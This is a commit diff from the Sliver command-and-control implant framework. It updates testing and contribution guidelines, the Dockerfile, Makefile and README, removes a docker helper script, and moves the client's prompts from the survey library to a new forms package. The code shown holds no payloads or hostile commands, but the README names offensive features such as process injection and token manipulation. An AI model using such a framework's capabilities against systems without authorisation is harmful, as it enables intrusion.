Run targeted unit tests with Go’s tooling and project tags, e.g. `go test -tags=client,go_sqlite ./client/command/...`. Full coverage uses `./build.py`; expect long runtimes and ensure ample CPU/RAM. Add tests beside code (`*_test.go`) and mirror package paths. When adding transports or implants, verify integration logs under `~/.sliver/logs/` for regressions and clean up fixtures.
- Go tests follow standard `_test.go` naming within each package.
- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .`
- Add or update tests when behavior changes; some server packages run longer tests.
## Commit & Pull Request Guidelines
Sign every commit (`git commit -S`) and write imperative, scoped messages ("Fix DNS canary retry" rather than status updates). Keep vendor updates isolated in their own commit. Pull requests should describe the intent, affected modules, testing performed, and reference GitHub issues. Include before/after screenshots only when UI behavior changes (client console). Ensure CI passes and note any required follow-up.
- Commits must be signed for PRs to `master`; work in a feature branch.
- Commit subjects are short and imperative (e.g., "Fix ...", "Add ...", "Update ...", "Bump ...").
- Changes to `vendor/` should be in a distinct commit.
- PRs should link the tracking issue, note tests run, and confirm `gofmt` plus unit tests as applicable.
## Security & Configuration Tips
Default to secure settings: avoid `math/rand` for secrets, prefer vetted crypto (AES-GCM, Curve25519) per `CONTRIBUTING.md`. Lock down file permissions for generated assets and redact secrets from logs. When touching configuration, favor secure defaults even if it means additional setup for operators.
## Security Notes
- Default to secure configuration; fail closed rather than open.
- Avoid insecure algorithms (MD5/SHA1/AES-ECB); prefer AES-GCM and modern curves.
- Treat user input as untrusted: canonicalize paths and use restrictive file permissions.
+5 -1
View File
@@ -5,6 +5,7 @@
#
# For unit testing:
# docker build --target test .
# docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .
#
# STAGE: base
@@ -31,6 +32,9 @@ RUN cp -vv sliver-server /opt/sliver-server
## Use `--target test` in the docker build command to run this stage
FROM base AS test
ARG GO_TESTS_FLAGS=""
ENV GO_TESTS_FLAGS="${GO_TESTS_FLAGS}"
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
@@ -39,7 +43,7 @@ RUN apt-get update --fix-missing \
RUN /opt/sliver-server unpack --force
### Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh ${GO_TESTS_FLAGS}
# STAGE: production
## Final dockerized form of Sliver
+13 -35
View File
@@ -16,49 +16,29 @@ endif
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git zip date cut $(GO)
EXECUTABLES = uname sed git date cut $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
#
# Version Information
# Build Information
#
GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 24
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
# Debug builds shouldn't be stripped (-s -w flags)
LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
LDFLAGS_DEBUG = -ldflags "-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
SED_INPLACE := sed -i
@@ -83,7 +63,9 @@ endif
# If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm)
ifeq ($(MAKECMDGOALS), )
ENV += GOARCH=arm64
ifeq ($(origin GOARCH), undefined)
ENV += GOARCH=arm64
endif
endif
endif
@@ -91,12 +73,6 @@ ifeq ($(MAKECMDGOALS), linux)
# Redefine LDFLAGS to add the static part
LDFLAGS = -ldflags "-s -w \
-extldflags '-static' \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
endif
@@ -105,9 +81,10 @@ endif
# Targets
#
.PHONY: default
default: clean .downloaded_assets validate-go-version
$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
default: clean validate-go-version
env -u GOOS -u GOARCH $(MAKE) GOOS= GOARCH= .downloaded_assets
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
@@ -154,8 +131,9 @@ clients: clean .downloaded_assets validate-go-version
GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
.PHONY: servers
servers:
servers: clean .downloaded_assets validate-go-version
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-arm64$(ARTIFACT_SUFFIX).exe ./server
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
@@ -199,5 +177,5 @@ clean:
rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe
.downloaded_assets:
./go-assets.sh
$(ENV) $(GO) run -mod=vendor ./util/cmd/assets
touch ./.downloaded_assets
+2 -8
View File
@@ -6,12 +6,6 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
# v1.6.0 / `master`
**NOTE:** You are looking at the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
### Features
- Dynamic code generation
@@ -21,7 +15,7 @@ For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x
- [Procedurally generated C2](https://sliver.sh/docs?name=HTTPS+C2) over HTTP(S)
- [DNS canary](https://sliver.sh/docs?name=DNS+C2) blue team detection
- [Secure C2](https://sliver.sh/docs?name=Transport+Encryption) over mTLS, WireGuard, HTTP(S), and DNS
- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
- Fully scriptable using [Python](https://github.com/moloch--/sliver-py)
- Windows process migration, process injection, user token manipulation, etc.
- Let's Encrypt integration
- In-memory .NET assembly execution
@@ -39,7 +33,7 @@ Download the latest [release](https://github.com/BishopFox/sliver/releases) and
### Help!
Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions).
### Compile From Source
-135
View File
@@ -1,135 +0,0 @@
#!/usr/bin/env python3
"""
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
"""
import os
import sys
import argparse
INFO = "\033[1m\033[36m[*]\033[0m "
WARN = "\033[1m\033[31m[!]\033[0m "
BOLD = "\033[1m"
NORM = "\033[0m"
def exec_cmd(cmd, ignore_status=False):
"""Executes a command with some sugar"""
print("\n" + INFO + " %s\n" % cmd)
status = os.system(cmd)
if status != 0 and not ignore_status:
print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
if input("continue? [Y/n]: ").upper() != "Y":
sys.exit(status)
return status
def docker_rm_volumes():
exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)
def docker_rm_containers():
exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)
def docker_rm_images():
exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)
def docker_prune():
exec_cmd("docker image prune -f", ignore_status=True)
def docker_rm_all():
docker_rm_containers()
docker_rm_images()
docker_rm_volumes()
def build():
status = exec_cmd("docker build --target test .")
if status == 0:
print("\n\n" + INFO + "Build successful")
def main(args):
"""Execute the respective task(s) based on cli args"""
if args.rm_images:
docker_rm_images()
if args.rm_containers:
docker_rm_containers()
if args.rm_volumes:
docker_rm_volumes()
if args.rm_all:
docker_rm_all()
if not args.no_prune:
docker_prune()
if not args.no_build:
build()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="automates interactions with docker")
parser.add_argument(
"--no-build",
"-b",
help="do not run build",
dest="no_build",
action="store_true",
)
parser.add_argument(
"--no-prune",
"-np",
help="do not prune images",
dest="no_prune",
action="store_true",
)
parser.add_argument(
"--rm-all",
"-rma",
help="rm all containers, images, and volumes",
dest="rm_all",
action="store_true",
)
parser.add_argument(
"--rm-containers",
"-rmc",
help="rm all containers",
dest="rm_containers",
action="store_true",
)
parser.add_argument(
"--rm-images",
"-rmi",
help="rm all images",
dest="rm_images",
action="store_true",
)
parser.add_argument(
"--rm-volumes",
"-rmv",
help="rm dangling volumes only",
dest="rm_volumes",
action="store_true",
)
try:
main(parser.parse_args())
except KeyboardInterrupt:
print("\n\n" + WARN + "User stopped process")
+1 -1
View File
@@ -96,7 +96,7 @@ func Setup(force bool, echo bool) {
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf(`
Sliver Copyright (C) 2022 Bishop Fox
Sliver Copyright (C) 2025 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
+10 -24
View File
@@ -23,7 +23,7 @@ import (
"sort"
"github.com/bishopfox/sliver/client/assets"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/bishopfox/sliver/client/forms"
)
func selectConfig() *assets.ClientConfig {
@@ -39,32 +39,18 @@ func selectConfig() *assets.ClientConfig {
}
}
answer := struct{ Config string }{}
qs := getPromptForConfigs(configs)
err := survey.Ask(qs, &answer)
keys := make([]string, 0, len(configs))
for key := range configs {
keys = append(keys, key)
}
sort.Strings(keys)
selection := keys[0]
err := forms.Select("Select a server:", keys, &selection)
if err != nil {
fmt.Println(err.Error())
return nil
}
return configs[answer.Config]
}
func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
keys := []string{}
for k := range configs {
keys = append(keys, k)
}
sort.Strings(keys)
return []*survey.Question{
{
Name: "config",
Prompt: &survey.Select{
Message: "Select a server:",
Options: keys,
Default: keys[0],
},
},
}
return configs[selection]
}
+3 -5
View File
@@ -24,9 +24,9 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
)
@@ -62,8 +62,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverClient) {
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm("Overwrite current install?", &confirm)
if !confirm {
return
}
@@ -122,8 +121,7 @@ func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite
if promptToOverwrite {
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm("Overwrite current install?", &confirm)
if !confirm {
return nil
}
+2 -3
View File
@@ -27,11 +27,11 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/packages"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -313,8 +313,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
}
con.PrintWarnf("%s", msgStr)
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
_ = forms.Confirm("Do you want to continue?", &confirm)
if !confirm {
return
}
+2 -3
View File
@@ -24,9 +24,9 @@ import (
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/spf13/cobra"
)
@@ -39,8 +39,7 @@ func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
survey.AskOne(prompt, &confirm)
_ = forms.Confirm(fmt.Sprintf("Remove '%s' alias?", name), &confirm)
if !confirm {
return
}
+1 -1
View File
@@ -37,7 +37,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
Use: consts.InstallStr,
Short: "Install an alias or extension",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}),
Args: cobra.ExactArgs(1),
Args: cobra.RangeArgs(0, 1),
Run: func(cmd *cobra.Command, args []string) {
ArmoryInstallCmd(cmd, con, args)
},
+188 -48
View File
@@ -26,8 +26,9 @@ import (
"os"
"path/filepath"
"slices"
"sort"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
@@ -35,6 +36,7 @@ import (
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/minisign"
)
@@ -51,10 +53,9 @@ const (
// ArmoryInstallCmd - The armory install command
func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
var promptToOverwrite bool
name := args[0]
if name == "" {
con.PrintErrorf("A package or bundle name is required")
return
names := []string{}
if len(args) > 0 {
names = []string{args[0]}
}
forceInstallation, err := cmd.Flags().GetBool("force")
if err != nil {
@@ -83,51 +84,92 @@ func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig)
if name == "all" {
aliases, extensions := packageManifestsInCache()
aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
confirm := false
pluralAliases := "es"
if aliasCount == 1 {
pluralAliases = ""
if len(names) == 0 {
armoryFilterName := ""
if armoryPK != "" {
armoryFilterName = armoryName
}
pluralExtensions := "s"
if extCount == 1 {
pluralExtensions = ""
}
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d alias%s and %d extension%s?",
aliasCount, pluralAliases, extCount, pluralExtensions,
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
options := armoryInstallOptions(armoryPK, armoryFilterName)
if len(options) == 0 {
con.PrintInfof("No packages or bundles found\n")
return
}
promptToOverwrite = false
}
err = installPackageByName(name, armoryPK, forceInstallation, promptToOverwrite, clientConfig, con)
if err == nil {
return
}
if errors.Is(err, ErrPackageNotFound) {
bundles := bundlesInCache()
for _, bundle := range bundles {
if bundle.Name == name {
installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
result, err := forms.ArmoryInstallForm(options)
if err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return
}
con.PrintErrorf("Armory install form failed: %s\n", err)
return
}
// If we have made it here, then there was not a bundle or package that matched the provided name
if armoryPK == "" {
con.PrintErrorf("No package or bundle named %q was found\n", name)
if len(result.SelectedNames) == 0 {
return
}
names = result.SelectedNames
}
if len(names) == 0 {
con.PrintErrorf("A package or bundle name is required")
return
}
if slices.Contains(names, "all") {
names = []string{"all"}
}
for _, name := range names {
if name == "" {
continue
}
promptOverwrite := promptToOverwrite
if name == "all" {
aliases, extensions := packageManifestsInCache()
aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
confirm := false
pluralAliases := "es"
if aliasCount == 1 {
pluralAliases = ""
}
pluralExtensions := "s"
if extCount == 1 {
pluralExtensions = ""
}
forms.Confirm(fmt.Sprintf("Install %d alias%s and %d extension%s?",
aliasCount, pluralAliases, extCount, pluralExtensions,
), &confirm)
if !confirm {
return
}
promptOverwrite = false
}
err = installPackageByName(name, armoryPK, forceInstallation, promptOverwrite, clientConfig, con)
if err == nil {
continue
}
if errors.Is(err, ErrPackageNotFound) {
bundles := bundlesInCache()
for _, bundle := range bundles {
if bundle.Name == name {
installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
err = nil
break
}
}
if err == nil {
continue
}
// If we have made it here, then there was not a bundle or package that matched the provided name
if armoryPK == "" {
con.PrintErrorf("No package or bundle named %q was found\n", name)
} else {
con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
}
} else if errors.Is(err, ErrPackageAlreadyInstalled) {
con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
} else {
con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
con.PrintErrorf("Could not install package: %s\n", err)
}
} else if errors.Is(err, ErrPackageAlreadyInstalled) {
con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
} else {
con.PrintErrorf("Could not install package: %s\n", err)
}
}
@@ -296,11 +338,7 @@ func getPackageIDFromUser(name string, options map[string]string) string {
// Add a cancel option
optionKeys = append(optionKeys, doNotInstallOption)
options[doNotInstallOption] = doNotInstallPackageName
prompt := &survey.Select{
Message: fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name),
Options: optionKeys,
}
survey.AskOne(prompt, &selectedPackageKey)
forms.Select(fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name), optionKeys, &selectedPackageKey)
selectedPackageID := options[selectedPackageKey]
return selectedPackageID
@@ -444,12 +482,114 @@ func installPackageByName(name, armoryPK string, forceInstallation, promptToOver
if name == "all" {
con.Printf("\n")
con.PrintInfof("Operation complete\n")
con.PrintSuccessf("Operation complete\n")
}
return nil
}
func armoryInstallOptions(armoryPK, armoryName string) []forms.ArmoryInstallOption {
options := []forms.ArmoryInstallOption{}
seen := make(map[string]bool)
packageCount := 0
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
return true
}
if cacheEntry.LastErr != nil {
return true
}
if armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey != armoryPK {
return true
}
if cacheEntry.Pkg.IsAlias {
name := cacheEntry.Alias.CommandName
if name == "" {
return true
}
if seen[name] {
return true
}
label := formatArmoryInstallLabel("alias", name, cacheEntry.Alias.Help)
options = append(options, forms.ArmoryInstallOption{
Value: name,
Label: label,
})
seen[name] = true
packageCount++
return true
}
for _, command := range cacheEntry.Extension.ExtCommand {
name := command.CommandName
if name == "" {
continue
}
if seen[name] {
continue
}
label := formatArmoryInstallLabel("extension", name, command.Help)
options = append(options, forms.ArmoryInstallOption{
Value: name,
Label: label,
})
seen[name] = true
packageCount++
}
return true
})
for _, bundle := range bundlesInCache() {
if bundle.Name == "" {
continue
}
if armoryName != "" && bundle.ArmoryName != armoryName {
continue
}
if seen[bundle.Name] {
continue
}
label := fmt.Sprintf("bundle: %s (%d packages)", bundle.Name, len(bundle.Packages))
options = append(options, forms.ArmoryInstallOption{
Value: bundle.Name,
Label: label,
})
seen[bundle.Name] = true
}
if len(options) == 0 {
return options
}
sort.Slice(options, func(i, j int) bool {
return options[i].Label < options[j].Label
})
if packageCount > 0 {
options = append([]forms.ArmoryInstallOption{
{
Value: "all",
Label: "all packages (aliases + extensions)",
},
}, options...)
}
return options
}
func formatArmoryInstallLabel(kind, name, help string) string {
help = strings.TrimSpace(help)
if help == "" {
return fmt.Sprintf("%s: %s", kind, name)
}
help = strings.Join(strings.Fields(help), " ")
return fmt.Sprintf("%s: %s - %s", kind, name, help)
}
func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
if entry == nil {
return errors.New("package not found")
+2 -3
View File
@@ -8,10 +8,10 @@ import (
"strings"
"sync"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
@@ -602,8 +602,7 @@ func ModifyArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
if err != nil {
con.PrintErrorf("could not modify armory: %s\n", err)
confirm := false
prompt := &survey.Confirm{Message: "Would you like to revert the properties of the armory back to their previous values?"}
survey.AskOne(prompt, &confirm, nil)
_ = forms.Confirm("Would you like to revert the properties of the armory back to their previous values?", &confirm)
if !confirm {
return
} else {
+32 -71
View File
@@ -19,13 +19,11 @@ package armory
*/
import (
"errors"
"fmt"
"os"
"sort"
"strconv"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
@@ -34,6 +32,7 @@ import (
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/util"
)
@@ -87,16 +86,19 @@ func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
if len(aliasUpdates) > 0 || len(extUpdates) > 0 {
updateKeys := sortUpdateIdentifiers(aliasUpdates, extUpdates)
displayAvailableUpdates(con, updateKeys, aliasUpdates, extUpdates)
selectedUpdates, err = getUpdatesFromUser(con, updateKeys)
selectedUpdates, err = getUpdatesFromUser(updateKeys)
if err != nil {
con.PrintErrorf(err.Error() + "\n")
if errors.Is(err, forms.ErrUserAborted) {
return
}
con.PrintErrorf("%s\n", err.Error())
return
}
if len(selectedUpdates) == 0 {
return
}
} else {
con.PrintSuccessf("All packages are up to date")
con.PrintSuccessf("All packages are up to date\n")
return
}
@@ -299,76 +301,35 @@ func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdent
con.Printf("%s\n\n", tw.Render())
}
func getUpdatesFromUser(con *console.SliverClient, updateKeys []UpdateIdentifier) (chosenUpdates []UpdateIdentifier, selectionError error) {
chosenUpdates = []UpdateIdentifier{}
func getUpdatesFromUser(updateKeys []UpdateIdentifier) ([]UpdateIdentifier, error) {
options := make([]forms.ArmoryUpdateOption, 0, len(updateKeys))
optionIndex := make(map[string]UpdateIdentifier, len(updateKeys))
var updateResponse string
for _, key := range updateKeys {
packageType := "Alias"
if key.Type == ExtensionPackage {
packageType = "Extension"
}
optionID := fmt.Sprintf("%d:%s", key.Type, key.Name)
optionLabel := fmt.Sprintf("%s (%s)", key.Name, packageType)
options = append(options, forms.ArmoryUpdateOption{
ID: optionID,
Label: optionLabel,
})
optionIndex[optionID] = key
}
con.Println("You can apply all, none, or some updates.\nTo apply some updates, specify the number of a single update, a range (1-3), or a combination of the two (1, 3-5, 7)\n")
err := survey.AskOne(&survey.Input{
Message: "Which updates would you like to apply? [A]ll, [N]one, or some:",
}, &updateResponse)
result, err := forms.ArmoryUpdateForm(options)
if err != nil {
// We do not need to set selectionError because an error here means the same thing as responding with "none"
return
return nil, err
}
updateResponse = strings.ToLower(updateResponse)
updateResponse = strings.Replace(updateResponse, " ", "", -1)
if updateResponse == "n" || updateResponse == "none" {
return
}
if updateResponse == "a" || updateResponse == "all" {
chosenUpdates = updateKeys
return
}
selections := strings.Split(updateResponse, ",")
for _, selection := range selections {
// Handle a range
if strings.Contains(selection, "-") {
rangeParts := strings.Split(selection, "-")
start, err := strconv.Atoi(rangeParts[0])
if err != nil {
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[0])
return
}
end, err := strconv.Atoi(rangeParts[1])
if err != nil {
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[1])
return
}
// Adjust for the 0 indexed slice we are working with
start -= 1
end -= 1
if start < 0 {
start = 0
}
if start > end {
selectionError = fmt.Errorf("%s is not a valid range", selection)
return
}
if end >= len(updateKeys) {
end = len(updateKeys) - 1
}
for i := start; i <= end; i++ {
chosenUpdates = append(chosenUpdates, updateKeys[i])
}
} else {
// Single entry
index, err := strconv.Atoi(selection)
if err != nil {
selectionError = fmt.Errorf("%s is not a valid range", selection)
return
}
index -= 1
if index >= 0 && index < len(updateKeys) {
chosenUpdates = append(chosenUpdates, updateKeys[index])
}
chosenUpdates := make([]UpdateIdentifier, 0, len(result.SelectedIDs))
for _, selectedID := range result.SelectedIDs {
if update, ok := optionIndex[selectedID]; ok {
chosenUpdates = append(chosenUpdates, update)
}
}
return
return chosenUpdates, nil
}
+2 -7
View File
@@ -26,9 +26,8 @@ import (
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
